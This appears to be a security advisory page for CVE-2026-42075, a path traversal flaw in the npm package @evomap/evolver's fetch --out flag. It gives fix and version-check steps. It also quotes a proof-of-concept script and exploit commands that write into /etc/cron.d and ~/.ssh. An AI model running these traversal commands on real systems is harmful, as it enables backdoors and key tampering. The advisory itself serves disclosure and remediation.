CVE-2026-42075: Evolver Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-r466-rxw4-3j9j
CVSS 8.1
CWE-22
Published
Advisory Summary

CVE-2026-42075 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Evolver libraries in the npm ecosystem. The issue involves path traversal via `--out` flag in `fetch` command allows arbitrary file write. Remediation is available by upgrading affected packages to version 1.69.3.

CVE-2026-42075 at a Glance

CVE Identifier CVE-2026-42075
GHSA Identifier GHSA-r466-rxw4-3j9j
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Evolver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42075

To remediate this vulnerability, upgrade all affected Evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@evomap/evolver fixed: 1.69.3
npm install @evomap/evolver@1.69.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @evomap/evolver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42075, inspect your project dependencies using npm:

npm ls @evomap/evolver

Analyze the terminal output to locate any version of Evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.69.3), your application is affected.

Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations. ### Details The vulnerability exists in `index.js` at lines 752-767: ```javascript // index.js:751-768 const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); // VULNERABLE: No path validation on user input const outDir = outFlag ? outFlag.slice('--out='.length) // User-controlled path : path.join('.', 'skills', safeId); if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true }); // ... downloads skill files to outDir ``` The `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory. Note: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\-\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-file-write.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable fetchSkill logic function vulnerableFetchSkill(outFlag) { const outDir = outFlag ? outFlag.slice('--out='.length) // No validation! : path.join('.', 'skills', 'default'); console.log('Target directory:', outDir); console.log('Resolved path:', path.resolve(outDir)); // In real code, this would write skill files const targetFile = path.join(outDir, 'skill.js'); console.log('Would write to:', targetFile); return { outDir, targetFile }; } // Test cases console.log('=== Test 1: Normal path ==='); vulnerableFetchSkill('--out=./my-skills/test'); console.log('\n=== Test 2: Path traversal ==='); const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test'); // Actually demonstrate the vulnerability console.log('\n=== Creating directory to prove traversal works ==='); try { if (!fs.existsSync(result.outDir)) { fs.mkdirSync(result.outDir, { recursive: true }); } fs.writeFileSync( path.join(result.outDir, 'poc.txt'), 'Path traversal successful!\nThis file was written outside the intended directory.' ); console.log('SUCCESS: File written to:', path.resolve(result.targetFile)); } catch (e) { console.log('Error:', e.message); } ``` 2. Run the test: ```bash node test-file-write.js ``` **Expected output:** ``` === Test 2: Path traversal === Target directory: ../../../tmp/evolver-test Resolved path: /tmp/evolver-test Would write to: ../../../tmp/evolver-test/skill.js === Creating directory to prove traversal works === SUCCESS: File written to: /tmp/evolver-test/poc.txt ``` **Actual exploit scenario:** An attacker can run: ```bash # Write to system cron directory (requires appropriate permissions) node index.js fetch malicious-skill --out=../../../etc/cron.d # Or overwrite existing files node index.js fetch existing-skill --out=../../../home/user/.ssh ``` ### Impact This is an **Arbitrary File Write** vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges **Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.

CVE-2026-42075 Affected Evolver Versions

1 component(s)
Fixed Versions:
1.69.3
Product / Package Ecosystem Affected Versions Fixed Version
@evomap/evolver
npm
< 1.69.3
1.69.3

References

Frequently Asked Questions

What is CVE-2026-42075?
CVE-2026-42075 is a security vulnerability in Evolver involving Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Evolver versions are affected?
Affected versions include releases prior to 1.69.3 across affected packages: @evomap/evolver.
What version fixes CVE-2026-42075?
Upgrading to 1.69.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @evomap/evolver affected?
Yes, @evomap/evolver is affected in releases prior to 1.69.3. Upgrade your dependency to 1.69.3 or later.
What is the CVSS score of CVE-2026-42075?
CVE-2026-42075 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-42075?
CVE-2026-42075 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-42075?
Run the dependency tree command: 'npm ls @evomap/evolver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r466-rxw4-3j9j",
  "modified" : "2026-05-04T19:54:30Z",
  "published" : "2026-04-22T22:06:15Z",
  "aliases" : [ "CVE-2026-42075" ],
  "summary" : "Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write",
  "details" : "### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice('--out='.length)  // User-controlled path\n  : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice('--out='.length)  // No validation!\n    : path.join('.', 'skills', 'default');\n  \n  console.log('Target directory:', outDir);\n  console.log('Resolved path:', path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, 'skill.js');\n  console.log('Would write to:', targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, 'poc.txt'),\n    'Path traversal successful!\\nThis file was written outside the intended directory.'\n  );\n  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n  console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@evomap/evolver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.69.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42075"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/EvoMap/evolver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T22:06:15Z",
    "nvd_published_at" : "2026-05-04T17:16:24Z"
  }
}